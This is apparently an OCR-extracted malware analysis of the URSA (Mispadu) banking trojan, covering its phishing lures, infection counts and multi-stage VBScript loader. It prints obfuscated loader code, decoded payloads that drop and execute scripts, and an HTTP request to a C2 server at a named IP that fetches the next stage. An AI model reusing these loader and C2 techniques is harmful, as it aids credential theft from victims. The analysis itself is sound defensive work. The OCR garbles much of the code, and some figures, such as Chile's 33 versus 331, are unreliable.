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Threat analysis: The emergent URSA trojan — and also known as mispadu malware by ESET - impacts many
countries using a sophisticated loader.

Since last June 2020, a new wave of the URSA trojan — a derivation and also known as mispadu malware by ESET
— has affected users from several countries, including Bolivia, Chile, Mexico, Argentina, Ecuador, Peru,
Colombia, Paraguay, Costa Rica, Brazil, Spain, Italy, and Portugal. This malware is a trojan malware, and when
installed on the victim’s devices, it collects passwords from browsers and from popular software such as FTP and
email services and also performs banking browser overlay to lure the victims to introduce the banking credentials
while the flow is executed — step-by-step — in the background by criminals.

Below, a geographic representation of the number of infections between June and mid-September 2020 around the
world according to Table 1.

URSA trojan — Geomap of Infections

June — mid-September 2020

Country Number of Infections

Mexico 1977
Spain 631
Portugal 514
Chile 33
Brazil 272
Argentina 37
Ecuador T
Peru 5
Colombia 2
Paraguay 2
Costa Rica 1
Italy 0

Table 1: URSA trojan — infections by country between June and mid-September 2020.

In total, 3.379 users were impacted by this threat from June — mid-September 2020 according to data obtained from
some C2s this wave. With a total of 1977 infections, Mexico is the country with more users affected, followed by
Spain — 631 victims, Portugal — 514, and Chile — 331.

It is important to realize that the number of infections may have been much higher, as these indicators are only
related to the data existing in some of the C2s presented at the end of the article. For example, no infections have
been identified in Italy, which cannot be true.

How URSA trojan spreads
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URSA malware is a relatively recent trojan and aims to steal credentials from victims’ machines and to create
banking overlay windows when the victim visits their home banking portals. URSA is propagated via social
engineering schemas — namely, phishing/malscam campaigns. In Portugal, the threat has been disseminated in-
the-wild and impersonating four popular organizations, namely Vodafone, EDP (Energias de Portugal), MEO
(Servigos de Comunicagdes e Multimédia, S.A), and Policia Judiciaria — one of the police organizations
responsible for criminal investigations in Portugal.

The email message generally refers to overdue invoices — the decoy — in order to lure the victim to download the
malicious file (a .zip file downloaded from the Internet). These emails are often sent between the end and the
beginning of each month.

Cliente Vodafone - Faturas Eletronicas em atraso No. 0014 / 020 - ( 223952011670 ) EDP Energias de Portugal - Cliente, Fatura em atraso evite desligamento pague agora. - ( 576418238226 )

De €M 2020-0818 10:42
= £

De FAT TRON € [ 3 tem 2020-09-03 17:19
= .

Cliente Vod , em anexo i o ficheiro ico cor

P a fatura No. 0014 / 020.

Cliente: svaii— @ COMERCIAL

Data Emissao: 03/09/2020:11:18:23

Chave de Acesso: 321000214541111111141000000014120
Ne°. Protocolo Autorizacao: 32000151441

Valor: EUR 511,30 FATURA EM ATRASO 2020

Escolha abaixo a melhor forma de consultar a sua Fatura
>m formato PDF
) for M

* Este e-mail foi enviado automaticamente pelo Sistema de Faturas Eletronicas. Favor nao responder

03/09/2020 06:19:58

Policia Judiciaria - Caro Cidadao Intimacao para comparecimento

em Audiencia. - ( 504836929496) & : L e s
De INTIMAC @policiajudiciaria.pt em 2020-09-10 23:03 - j — .
o Index of /wp-admin/css/--/https:

Name Last modified Size Description

Caro(a) Cidadao! joao@

& parent pirector

1
Atencaol D wwedp.pts 2020-09-09 04:31
Intimacao para comparecimento em Audiencia no Dia 15/09/2020 (] Wi, ME0, Pt/ 2020-89-09 11:17

Numero do processo N. 43143645 - 2020 .
Veja no Anexo os Apendice para Dados, Razao e Informacoes sobre a Intimacao.
Dados Sobre a Intimacao: Visualizar_Intimacac|D00210001.zip

G www.policiajudiciari..> 2020-09-12 01:15

Copyright Policia Judiciaria 2020 - Py,

Morada: Novo edificio-sede da PJ, fua Gomes Freire, 1169-007 Lisboa

Figure 1: Email templates of URSA impersonating Vodafone, EDP and Policia Judiciaria — Portugal.

URSA loader in detail and the rabbit holes

At first glance, the file downloaded via the malicious URL sent by criminals on the email scam is a zip file with an
MSI (Microsoft Installer) inside. By analyzing the MSiI file, it's possible to observe that another file is available
inside, and probably dropped when the MSI is executed. That file called px3q8x.vbs is a VBscript file responsible
for loading and executing the next stages. Interesting to note this file has a low detection rate bypassing, thus,
popular antivirus (AV) engines.

Threat name: 554S2000A2S144D1S4111D.zip
MD5: 2d2f3500836ed60303103bafac6357a3

Threat name: 554S2000A2S144D1S4111D.msi
MD5: 3be539aa8d421d09cef27723a98d2d83

Threat name: px3qg8x.vbs (initial payload — VBScript)
MD5: a4f066196b1009c42c1dea74f857180d
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Tables Name Data
AdminExecuteSequence el g8 vbs [Binary Data]
AdminUlSequence
AdvtExecuteSequence

Binary

Customi.ction

MS Windows
d7hf
Installer
This installer database contains the logic and data required to install MS Windows.
Intel;1537@
{6969FFB2-1ATC-40A4-AEE1-EBTFEIC58467 }
Windows Installer XML Toolset (3.11.2.4516)
j45tgl = Int(94637 + Rnd)
if (sfjujsstgl > sfjujesStgi+l) g
= Int(74874 = Rnd)

= "JEPGCGGDEY,
B=d6s7506" DVDSEUGHGNFXGAFXGLEPFTGNFTDMY,
DMDWDNDEEIDEDUEFFFFXGMn
7506 " IGHDSEYFXGMGMFTGAFXDEDVEDDYEADYEEDX

ry7rarhucj4@6=38:

NameTableTypeColumn_ValidationIdentifierValueNPropertyId_SummaryInformationDescriptionSetCategoryKeyTableMaxValueNullableKeyColumr
LlowedFor foreign key, Name of table to which data must linkColumn to which foreign key connectsText;Formatted;Template;Condition;
RegPath;CustomSource; Property;Cabinet;Shortcut; FormattedSDDLText ; Integer;DoubleInteger; TimeDate;DefaultDirString categoryTextSet ¢
r in the engine or the handler DLL.ConditionOptional expression which skips the action if evaluates to expFalse.If the expression
he sort order in which the actions are to be executed. Leave blank to suppress action.AdminUISequenceAdvtExecuteSequenceBinaryUni

on, normally appears in sequence table unless private use.The numeric custom action type, consisting of sDFGFFFLFDFAFDFJIFCFHFCFHF(
n7f413=n7f4136" DFGFFFRFFFCFFFDFFFGFFEYFCFNFEEYFFEYFFFIFCFNFFFLFDEYFCFOFDFKFDEYFCFOFFFLFDFAFDFJFFFLFDFAFCFLFCFN®

n7f&136" FDFPFFFCFFFMFCFNFCFNFCFNFCFNFEFUFFFNFEFWFCFNFEFAFFFDFFEXFCFNFFFLFDEYFCFRFCPWFCFRFCFWFCFOFCFOFCFSF™
=n7f4138"DFCFDFEFCFOFCFOFCFPFDEXFDFBFCFQFCFNFEFUFFFNFEFWFCFNFEFAFFFDFFEXFCFNFFFLFDEYFCFRFDEXFCFRFCFWFCFOFCFOFCFSFDFCFD®
=n7f&136" FEFCFOFCFSFFFLFDEXFCFSFDFDFCFWFCFOFCFOFCFOFDFGFFFLFDEYFDFJFEFAFFFDFFEXFCFNFFFLFDEYFCFRFDEYFC®

n7f413=n7f4136" FRFEEYFFEYFFFIFCFNFFFLFDEYFCFOFCFSFDEXFCFOFDFGFFFRFDFRFFFIFFEXFDFGFFFLFCFWFDFJFFFLFDFAFDFGFFEYFFFIF"

36" FEXFCFFFFFAFFFPFFFIFEFWFFFOFFFDFFFIFFFIFDFGFFFNFFEYFFFOFCFFFFFIFDFUFDFIFCFFFDFPFFFMFFEYFEFUFFFO™
n7f&13=n7f413&6" FFEYFEFCFEFVFFFEFFEYFEFWFFFOFCFNFCFHFCFHFEFAFFFDFEFWFFFMFFFIFFFNFFFIFFFAFFFOFCFTFEFLFEFAFEEYFDFUFEFHF "
'mph216
' fg@dpn
"fex
n7f413=n7f4136" EFHFEFDFCFHFCFHFCFOFDFGFFFJFDFUFCFTFFFIFFFKFFEYFFFLFCFFFCFHFCFHFFFKFFFIFFFNFFFOFCFHFCFHFCFRFCFFFCFHFCFH™
n7f413=n7f4136" FFFCFFFOFFFOFFFKFDFGFCFUFCFUFCFWFDFFFCFWFCFTFDEXFDEYFDFBFCFTFDFFFDFFFCFTFCPWFDEYFCFUFEFYFFEXFDEXFCFWFC®
'gbaiém3wo
‘ec?
n7f413=n7f41356" FTFFFKFFFCFFFKFCFHFCFHFCFFFCFRFCFFFCFVFDFGFFFIFDFUFCFTFFFNFFEYFFFOFEFFFFEYFFFLFFFPFFEYFFFNFFFOFDFUFFEYFEFUF"
'tngq
it
n7f413=n7f41356" FEXFFEYFFFMFCFFFCFHFCFHFDFPFFFIFFFIFFFOFFEYFFFIFFFOFCFSFEFHFFFTFFFKFFEYFCFHRCFHFCFRFCFFFCFHFCFHFEFUFFFK”
n7f413=n7f41356" FFFKFFFGFFFDFEFWFEFUFFFOFFFDFFFIFFFIFCFUFFFSFCFSFFFRFFFRFFFRFCFSFFFAFFFIFFFMFFFHFCFSFEFPFFFMFFFGFFT
‘da7
'gb3122vx7

Figure 2: MSI file with another file inside — a VBScript called px3q8x.vbs — the Ursa trojan VBScript loader.

During this article, we can observe that the URSA trojan has two loaders. First, a VBScript loader followed by
several rounds of obfuscation and rabbit holes. The final VBScript is responsible for starting and dropping the
files on disk and executing an Autolt loader/injector. That binary injects into the memory via the Process
Injection technique some DLLs, including a Delphi binary related to the banking overlay windows, and also the
one that establishes all the communication with the C2 server.

The following image presents a high-level diagram of how the URSA trojan works.
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Figure 3: URSA trojan / Mispadu 2020 — high-level diagram.

VBScript deobfuscation rounds

After extracting the VBscript loader, we observed that it is very confused and obfuscated as presented in Figure 4.
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" Lyc12anpps 1130wy 7E682buxond2i13
n7f413=Mid(n7f413, 3, Len(n7F413) - J51mt158)
" bpgsbaeodss23mlngy
*p3labsTdteTpgTel60ls

wEnd

'1f7qls

dim gnddass

51148 = 3

J5imtice - 4

tek34s = 51148 + j51mtise
qvs586 = tek345 + 1

" ayBlnrSumEXasges 18

"dhépsnamepbebkeles

if (“gndd486kShiSe™ <> “k5h2SEgmdd485") Then

51148 = replace(” # # ¥ H 8 # 44 ¥ ¥ #cix" B "#sccutéed ## # (“Bchr(tek345)h replace(qkofid7779,chr(t8k345), chr(tBk945)Echr (tok345) ) Bchr{taks45)8" )", chr{gqvs586),"")
End IF

vpgteTalaq2iraTtahaid

if ("k5b256™ = qmddass) Then

nsghox “gkofiazI7e"

End if

51148 = Replace(Replace(s1148, vbif, "), vbor, *")

Figure 4: URSA VBScript loader — code obfuscated to bypass AV and make hard its analysis.

Some deobfuscation rounds after, we got a more readable version. Notice that some parts related to useless code
were removed. In detail, the VBscript is grouped into two parts. The first part is the method of the Installer object that
returns a new Record object with the requested number of fields (code highlighted below).

FRIST PAYLOAD

aux = "JEPGCGGDEGEDVDEEFDEFFFXGNDEGEDVDEEIDEEUGHGMGNFTGFGFFXGLDSEOGLFXFTGNFXFEFXFVGIGLFWDMDWONEFGE"™
aux=aux&"DVDSEUGHGNFXGAFXGLEPFTGNF TDMDVDNDEEIDEDWE FGEDVDSEUGHGNF XGAF XGL EPFTGNF TDMDWDNDEEIDEDUEF FFFXGMGMGCG™
aux=aux&"IGHDSEYFXGMGMF TGAFXDEDVEDDYEADYEEDXECEBDQDEGEDV"

auxl=asc(Mid(aux,1,1))-65
aux=Mid(aux,2,Len(aux)-1)

while(Len(aux)>e)
output=output&(Chr((((asc{Mid(aux,1,1))-65))*25+(asc(Mid(aux,2,1))-65)-auxl-ry7rarducjies)))
aux=Mid(aux,3,Len(aux)-2)

payload = replace("## # ## ## ## # # # ##% #% # ## #He#x" R "#HeH#cH#H#udte# # #("&chr(1)& replace(
output,chr(1),chr(1)&chr(1)) &chr(1)&")",chr(e),"")

payload = Replace(Replace(65, vbLf, ""), vbCr, "")
eval payload

'Payload:
‘execute("Dim k1 : Set k1l = Installer.CreateRecord(2):kl.IntegerData(l) = 2:kl1.IntegerData(2) = ©@:Session.Message 184549376, k1")

Figure 5: Analysis of URSA loader VVBScript — first part — record object part.

The second part is the code of the next payload encoded. That payload is then executed and is responsible for
decoding another payload (the 2nd payload in Figure 5 — step 5).
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"IFQGIGYDPGSENGKEKEHEIETFAGWGIGFGYGIFMGGGOGIGHGYDXDRFQGHGWGNGUGYGNGSGLEEFDGNGQGIFQHEGXGYGIGRFMG"

ux&"GGOGIGHGYDRDYEQCVCSFQGIGYDPGSENGKEKEHE JGTGXDPETDPFAGWGIGFGYGI FMGGGOGIGHGYDXDRFUFQGHGWGNGUGYEE™
aux=aux&"FQGMGIGQGQDRDYEQCVCSGSENGKEKEHEIGSGRGPDPETDPFKGNGIDXFAGWGIGFGYGIFMGGGOGIGHGYDXDRFUFQGHGWGNGUG™
aux=aux&"YEEFQGMGJGQGQDRDYEEGIHDGUGFGSGIF CGSHBGNGWGTGSGRGIGSGYFQGYGWGNGSGLGXDXDRDUFAFMFKFNFSFRFCFPFLEX"
aux=aux&"FKFCDUDRDYECEHECEHDYEQCVCSGSENGKEKEHE JGSGRDPETDPDRFAEQGAF SGXGIGWGXGAFNHAGGGQGNGHGADRDVDPGSENGKEKEHEIGSGRG ™
aux=aux&"PDPDVDPGFGXGHDXFKGNGIDXGSENGKEKEHE JGSGRGPECEHECEHDYDYDPDVDREEHBGGGXDREQCVCSGNGKDPGSGTGYDPGSENGK™
aux=aux&"EKEHEJEEFDGNGQG] FCHDGNGXGYGXDXGSENGKEKEHE JGSGRDYDPFRGMGIGSEQCVCSFQGIGYDPGSENGKEKEHEJGYHDGYDPETDPG™
aux=aux&"SENGKEKEHEJEEFAGWGIGFGYGIFRGIHDGYFDGNGQGIDXGSENGKEK EHE JGSGRECFRGWHAGIDYEQCVCSGSENGKEKEHE JGYHDGYEEFUGWGNGYGI ™
aux=aux&"DPDRGTGSDPGIGWGWGTGWDPGWGJGXHAGRGIDPGSGIHDGYEQGIGLGMHEEIDPETDPFGGSGYDXENEME JENEMDPEADPFPGSGIDYDPEQDPGNGKD™
aux=aux&"PDXGIGLGMHEEIDPESDPGIGLGMHEEIEBEHDYDPFRGMGIGSEQDPGIGNGRDPHCEHEQHCEHETEJEGEQHCEHETHCEHEBEJE"
aux=aux&"LEQGIGNGRDPHCEIEQHCEIETELEOEQHCEIETHCEIEBEHE]EQGIGNGRDPHCEJEQHCEIETEIEGEQHCEJETHCEJEBELEQGKHAGSGHGYGNGTGSDP™
aux=aux&"GHGMGUGUGIGIDXGGHCGIGSGWHADYEQGRHAGVGMGGGNGK ETHCEI EQHCGOGNGSGSGRGWGIGQE TGF GXGHDXFKGNGIDXGGH"
aux=aux&"CGIGSGWHAECEHECEHDYDYEDHCEHEQGGHCGIGSGWHAETFKGNGIDXGGHCGIGSGWHAECEIECF JGIGSDXGGHCGIGSGWHADYEDE™
aux=aux&"HDYEQGVGLGXGIHEETDRDRDRDREQHCGMGNGQGIDXFIGIGSDXGGHCGIGSGWHADYEUEGDYGVGLGXGIHEETGVGLGXGIHEDVD"

sc(Mid(aux,1,1))-65
dfaux,2,Len(aux)-1)

while(Len(aux)>8)
output=output&(Chr(({(asc(Mid(aux,1,1))-65))*25+(asc(Mid(aux,2,1))-65)-aux1-e81389)))
aux=Mid(aux,3,Len(aux)-2)

if ("a" <> "b") Then
payload = replace(" # ## # ## ## ## # ## ## # ## #He#x" &  “#decut#e# ## # ("&chr(1)& replace(
output,chr(1),chr(1)&chr(1)) &chr(1)&")",chr(qvs586),"")

End If

payload = Replace(Replace(payleoad, vbLf, ""), wvbCr, “")
eval payload Next payload

'Payload:

‘execute("Set n7f413=CreateObject(""Scripting.FileSystemObject""):Set n7f4130s = CreateObject(""WScript.Shell”
CreateObject(""WScript.Shell"").expandEnvironmentStrings(""%COMPUTERNAME%""),1,1):n7f413nm = ""C:\Users\Public\
asc(Mid(n7f413nmk,1,1)) &"".vbs"":if not n7f413.FileExists(n7f413nm) Then:Set n7f413txt = n7f413.CreateTextFile(

n7f413nm,True) :n7f413txt.Write ""on error resume next:dghy2 = Int(76376 * Rnd) : if (dghy2 < dghy2+1) Then: dim
wl:wl=30:wl=wl+35:dim w2:w2=58:w2=w2+13:dim w3:w3=20:w3=w3+ unctlon chpped(bwdnru) :mughbif=w2:wjinnmrel=asc(Mid(
bwdnru,1,1))-wl:bwdnru=Mid(bwdnru,2,Len(bwdnru)-1):qggsey ":while(Len(bwdnru)>8)qgsey=qgsey&(Chr(({(asc(Mid(
bwdnru,1,1))-wl))*w3+(asc(Mid(bwdnru,2,1))-wl)-wjinnmrel-mughbif))) :bwdnru=Mid(bwdnru,3, Len(bwdnru)-2) :wEnd: chpped=qgsey:end
function:dim wkl:wkl=""""EHCHRHKGYHQHFHLHKEHHNEYEPHNFBEQF IHNFAFLGWHPGYEPGCHFHAEPHNFBETEYETEYEQEQEUFEFDFIHNFBFLGCHFHAEPHNFBETFAETG
BHBHKEPHNFBEQEUEYEQFIHNFCFLEJEJEJEIFTHTHEHFHIHBEPGBHBHKEPHNFBEQFMFBEQHNFCFLHNFCENEPFRHEHOEPEPEPEPGWHPGYEPGCHFHAEPHNFBETEYETEYEQEQ)
EUFEFDEQEQERFAFDESEPGWHPGYEPGCHFHAEPHNFBETFAETEYEQEQEUFEFDEQEUHNFAEUFFEYEQEQEQF IHNFBFLGCHFHAEPHNFBETFBETGBHBHKEPHNFBEQEUFAEQFIHTF|
THKHAFIHNEYFLHNFCFIHBHKHAEHHCHRHKGYHQHFHLHKF IHPHBHQEHHL FWF L EHFRHOHBGWHQHBGEGXHGHBGYHQEPEJEJGCHFGYHOHLHPHLHCHQEVGNGCGBFWGIGIGFEJED
EQF IHLFWEVHLHMHBHKEHE JEJHMHLHPHQEJEJETEHE JEJHEHQHQHMF IEWEWEYFHEYEVFAFBFDEVFHFHEVEYFBEWGXHAFAEYEVHMHEHME JEJEHETEHEXF IHLFWEVHPHBHQG]
HHBHNHRHBHPHQF WHBGWHAHBHOEHE J EJFRHLHKHQHBHKHQEUGIHVHMHBE JEJETEHE J E JGWHMHMHIHF GYGWHQHFHLHKEWHUEUHTHTHT EUHCHLHOHI EUHRHOHIHBHKGYHLHA
HBHAEJEJFIHLFNEVHPHBHKHAEHEJE]HNFLEYEJEJFIHUFDFLHLFNEVHOHBHPHHHLHRHPHBGJHBHUHQFIHBHUHBGYHRHQHBEPHNEYEPHUFDEQEQ"""" wk2=chpped(
wkl):dim sgel :sgel = replace(” lell!xlec! & ull & l!t & lell | (! "&chr(34)& wk2
&chr(34)&""""1)!11 ' hj656y4hdgl = Int(6376 * Rnd) f (hjé56y4hdgl < hje56y4hdgl+l) Then: eval sgel: End
If: End If" 'n7f413txt Close: Set n7f4131 = CreateObject( hell.Application ):n7f4131.ShellExecute n7f413nm, o

Figure 6: Analysis of URSA loader VBScript — second part — payload 2.

This new payload (after deobfuscating the code and renaming some functions and variables) is another VBScript,
with the final payload that requests the next stage from the C2 server. Of course, this was funny, some rounds of
rabbit holes.
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ject(Scripting.FileSystemObject)
t obj = CresteObject(

hostname = Mid(CreateObjec ipt.shell). r nmen MPUTERNAME%) ,1,1)
\Public\&

ath) Then
tFile(vbs_path,True)

r resume next

1,1)
d,2,Llen(

EHEJE JHMHLHFHU_E]E]ETEHE]E]HEHQ_HQHHFIENENE YFHEYEVFAFBFDEVFHFHEVEYFBEWGXHAFAEYEVHMHEHME JEJEHETEHEXF IHL FWEVHPHBHQ
QEUGIHVHMHBEJE JETEHE JE JGWHMHMHIHF GYGWHQHFHLHK EWHUEUHTHTHT EUHCHLHOH] EUHRHOHTHEHKGYHLHAHBHAE JE

while(Len (v
aux=au> 8~ r{(( (Mid(value,1,1))-65)) asc(Mid (v ) Y-aux-71)))
lue

j.setRequestHeader "Content-Type", pplication/x-www-Torm-urlencoded™

Payload received from the C2 server

'VIDICEYHSIGIGIDIGEYIGHS

EYEYGDEYFEHVIIIIIEGAFOFOFQFYFQFNFRFSFUFNFYFYFNFQFSFOTAIEFQHOFBEFECHQIDICIHITEYEYIHGYIDIAHSHFHEFREYEYGDE
ECHQIDICIHIIEYEYILIAHWICHYGMEYEYGDEYFBHVIIIIIEGAFOFOFQFYFQFNFRFSFUFNFYFYFNFQFSFOFBEFECHQIDIC IHIIEYEYHQGYHOHWIOF QEYGDEYFBGIGAHIHCIHHS IGIHHIGWI JHPTAHWHQH )
ICIHIIEYEYHQHFGOEYGDEYFBFNHPHRFRFBEFECHQIDICIHI IEYEYHQHFHHEYGDEYFBFNIOHWIEFBEFECHQIDICIHIIEYEYHQHELJ IHFSIGEYGDEYFBIALEFQFBEFECHQIDICIHITEYEYHQHAHSICGSID

IDICIHIIEYEYILG] ICHTHUEYGDEY FBGSG IHFGIGXGMGOGKG IGMGUGMGL GMGYGMGVGKG IGIGXG JIGOGMGLGMGSGIGOGIGXG. Jf;!mMHt\t_,MLJu JHFGIG ‘?u JGXG IGOGMHAGMGSGIHGG IGOG IGXG ILQKJ"HA!;HG

Figure 7: Analysis of URSA loader VBScript — third part — payload 3 — step 8.
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- LR UL 1Y, 108 . 1YY, 100 191, £3b . Y9, 18 e o AY01Y —~ HY
81 35.637339 191.235.99.13 192.168.100 .166 TCP 66 88 - 49619
82 35.637447 192.168 181.235 TCP 54 49619 - 8@

49618 - 8@

8O - 49619

87 36.9032356 192.168 TCP 1260 B8 - 49619
BB 36.832484 108.166 191.235 TCP 54 49610 - B@
80 36.8932588 .99.13 192.168.188 .186 TCP 1260 88 — 49619
98 36.032655 .188. 166 191.235.99.13 TCP 54 49819 - B89
91 36.032682 -99.13 192.168.100 .166 TCP 1266 B8O — 49619
92 36.032773 .100.166 191.235.99.13 TCP 54 49619 - 80
92 36.933434 99.13 192.168.188.166 TCP 1260 B8 - 49619
94 36.833503 - 188.166 191.235.99.13 TCP 54 49619 - BO
95 36.934199 101.235.99.13 192.168.188 . 166 TCcP 1822 B8 — 49519

Frame 84: 57 bytes on wire (456 bits], 57 bytes captured (456 Dits)

Ethernet IT, Src: 12:a9:86:6¢c:77:de (12:a0:86:6c:77:de), Dst: Realtekll 36:3e:TT (52:54

Internet Protocol Version 4, Src: 192.168.188.166, Dst: 191.235.99.13

Transmission Control Protocol, Src Port: 49619, Dst Port: 88, Seq: 428, Ack: 1, Len: 3
[2 Reassembled TCP Segments (422 bytes): #83(419), #B4(3)]

Hypertext Transfer Protocol

HTML Form URL Encoded: applicaClon/x-wWww-TOrm-urlencoded

POST /bd21.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/x-wwe-form-urlencoded
Accept -Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/7.8; SLCCZ;
-NET4.BC; .NET4.B8E)

Host: 191.235.99.13

Content-Length: 3

Connection: Keep-Alive

Cache-Control: no-cache

g=1HTTP/1.1 208 OK

Date: Sat, 12 Sep 2020 12:29:20 GNT
Server: Apache/2.4.29 (Ubuntu)

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 5753

Keep-Alive: timeout=5, max=180
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

=0, Besersahyot,
Lz <Lo5|BVT......].....jom. .
5P..g.V u..m..0....0's.."%.
I

A-L

E 117 Wn'D

ST (2
TR

BTN
SYN,
ACK]
PSH,

180:36

.NET CLR 2.9.58727;

F.

. ACK] Seq=4825 Ack=423 Win=G4256 Len=968 [TCP segment of a reassembled PDU]

ik}

SEq=Y WINSH1¥< LEN=Y MS5=1300 WS=£O0 DAUK_FERM=1

ACK] Seq=0 Ack=1 Win=64248 Len=0 M55=1206 SACK_PERM=1 W5=256

Seg=1 Ack=1 Win=66304 Len=0

ACK] Seq=1 Ack=1 Wi
1

=419 [TCP segment of a reassembled PDU

Ack=423 Win=64256 Len=1206 [TCP segment of a reassembled PDU]
Seq=423 Ack=1287 Win=66384 Len=0

Seq=1287 Ack=423 Win=64256 Len=1286 [TCP segment of a reassembled PDU]
Seq=423 Ack=2413 Win=66384 Len=0

ACK] Seq=2413 Ack=423 Win=64256 Len=12086 [TCP segment of a reassembled PDU]
Seq=423 Ack=3619 Win=66384 Len=0

Seq=3619 Ack=423 Win=64256 Len=1286 [TCP segment of a reassembled PDU]
Seq=423 Ack=4825 Win=66204 Len=0

:3e:7T)

.NET CLR 3.5.38729; .NET CLR 2.0.30720; Media Center PC 6.8;
I - 0000 7 A RN A I
|
P e
P36 TR SN ¥ - NP T P N SRR DR et HRA ol e

Figure 8: Network traffic when the next malware stage is downloaded from C2.

Finally and highlighted above, we got the C2 IP address (191.235.99.]13) and the final payload this stage from the

C2 server.

URSA trojan — VBscript loader/dropper (the final VBScript)

Threat name: final payload (VBScript)
MD5: bda287c97d9373052f347ac0ccedfdf8

After some rabbit holes, finally, we got the URSA VBScript loader totally deobfuscated from the C2 server. Just the
malware configuration is encrypted, and all the communications between the C2 server and trojan clients are
performed using the same algorithm, even during the final stage of this malware — a Delphi PE file responsible to
create the banking overlay windows, collect credentials from the victim’s machine, and send all the date to the C2

online.
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on error resume next

const cCOD

clD =
cons sRoleX " = f . .13/1p1a”
cons sRoleX = tp:/ 1. 99.13/m/1p1"™
const 13/°

cons cChilebeans
cone wVWersion

cons

h\l"»—ﬂ:lunE:lT = "
wCnfg = "LCX QC “ﬂ. 5 CQCIFSFLCYC ]F%FlU'r]fQFOFYFT(YDﬂﬂGBfF FIFPF

FAFQFNFEFTCWCXCUFDF

QFIEVFCFAFQFNFKFTCWCXCUFDF C Q ﬂFQFNFEFTEN FLFPFKIUFIFHFCCQFIEUFtFAFNFNF (FTC
FEFNFCCQFIEVFCFAFQFNFEKFTCWCXCUFDFKFLFPFKCUFKFNFC TEVFCFAFQFNFKFTI( UFDFKFLFPFECUFKFN| FIEVFCFAFQFNF
LFPFKCUFKFNFCCQF TEVFCFAFQFNFEFTCWCXCUFDFKFLFPFE :

CUFDFKFLFPFECUFKFNFC IEVFCFAFQFNFKFTCWCXCUFDFK

KFTCWCXCUFDFKFLFPFKCUFEFNFCCQFIEVFCFAFQFNFEF TCWCXK C

FAFQFNFEFTCWCXCUFDFKFLFPFKCUFKFNFCC FIEVF!FAFHFNFFFTLH!rCHFDFkFLFPFFLUFFFNFLlOFIE“F:FﬁFHFNFFFTCNL (CUFDFKF
QFIEVFCFAFQFNFEKFTCWCXCUFDFKFLFPFEKCUFKFNFCCQF TEVFCFAFQFNFEFTCWCXCUFDFKFLFPFECUFKFNF FIEVFCFAFQFNFKFTCWCX
FNEXCUEXFKFICQF IEVFCFAFQFNFKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFEFICQFIEVFCFAFQFNFKFTCWCYCUFOFAFNFRFAFEFNEXCUEX
VFCFAFQFNFEKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFKFICQF IEVFCFAFQFNFEFTCWCYCUFOFAFNFRFAFEFNE EXFKFICQFIEVFCFAFQFR
CUFOFAFNFRFAFEFNEXCUEXFKFICQFIEVFCFAFQFNFEKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFEFICQFIEVFCFAFQFNFKFTCWCYCUFOFAFNF
XCUEXFKFICQFIEVFCFAFQFNFKFTCWCY CUFOFAFNFRFAFEFNEXCUEXFKFICQFIEVFCFAFQFNFKFT YCUFOFAFNFRFAFEFNEXCUEXFKFI
FAFQFNFEKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFE FIEVFCFAFQFNFKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFKFICQFIEVFCFAFQF .
OFAFNFRFAFEFNEXCUEXFEFICQF IEVFCFAFQFNFKE CUFOFAFNFRFAFEFNEXCUEXFEFLCQFIEVFCFAFQFNFEE ICYCUFOFAFN
EXFKFICQFIEVFCFAFQFNFKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFEKFICQFIEVFCFAFQFNFKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFKFICQ
QFNFEKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFKFICQF IEVFCFAFQFNFKFTCWCY CUFOFAFNFRFAFEFNEXCUEXFKFICQFIEVFCFAFQFNFEFTC
FNFRFAFEFNEXCUEXFKFICQF IEVFCFAFQFNFKFTCWCYCUFOFAFNFRFAFEFNEXCUEXFKFICQF IEVFCFAFQFNF
KFTCWCYCUFOFAFNFRFAFEFNEXCUEXFKFICQF IEVFCFAFQFNFKF TCWCYCUFOFAFNFRFAFEFNEXCUEXFKFICQ™

Figure 9: URSA final VBScript loader and its configuration.
From Figure 9, we can observe the following:

¢ some paths from the C2 server (SRoleX and sRoleXW2)

« the path where binary files from C2 are downloaded to (cRaiz1); and

e some sections that are used to build the final stage (an AutolT binary responsible for injecting and executing
the malware final stage into the memory — the mentioned Delphi file).

As mentioned, all the communications from this point are encrypted between the malware and the C2 server. In
order to decrypt the malware communication, we can use the next script available on GitHub.

By executing the script, decrypt the malware config was possible as observed below.
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-'.i' *ChUsers’

Top
lecrypted.txt
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“iDesktopidecrypted.bd - Notepad++

File Edit Search Wiew Epcoding Language Settings

aQ = =

0 o= | &
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g
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4
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com
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Figure 10: Ursa trojan config decrypted.

The variables “#wp#” are the final C2 endpoint where the victim’s information is sent during the malware execution.
Also, several host repetitions were identified. This is a potential C2, that notifies criminals when a new victim is
affected. Nonetheless, the malware next stage is downloaded from the IP address (191.235.99.]13) as analyzed

above.

During the VBScript code analysis, some functions were identified:
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Function
function
function
Function
Function
Function
Function
Function

GetWmiPropertyValue(strNameSpace, strClassName,
crypt(cText, cCod)

decrypt(cText, cCod)

UnZip(zZipFile, ExtractTo)

StringGetURL(sUrl)

BinaryGetURL(strURL)

StringGetURL(strURL)
SaveBinaryData(arrByteArray, strFileName)

Sub writeBinary(bstr, path)

Function
Function
function

makeArray(n) ' Small utility function

strPropertyName)

TrocaEntry(strFileNamel, strFileName, sSenhaVelha, sSenhaNova)

cript(x, c)

In general, the next malware stage is retrieved from the C2 server in several parts and then built on the fly. The files
are encrypted and are decrypted during the malware execution. Next, a final PE file is built during this process.

Some interesting functions are presented below. Interesting to note that the user agent used to download the files is:
“strUserAgentString = “binary_getter/1.0”*.

GetURL (STrURL)

g
Dim objuinkttp

Figure 11: Some parts and functions of the VBScript file.

After this initial process, some validations regarding the victim device are performed to start the next stage. The
Operating System (OS) version is retrieved, and if it is a virtual environment, the script terminates its execution.
Interesting to observe this anti-VM technique earlier on the trojan loader. With this logic in place, the final payload is
not loaded and downloaded from the C2 allowing it not to be at least flagged by antivirus engines.
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Dim idioma, sMomeMag
set objw

Set colOperat

idioma = objOperatin

Hext

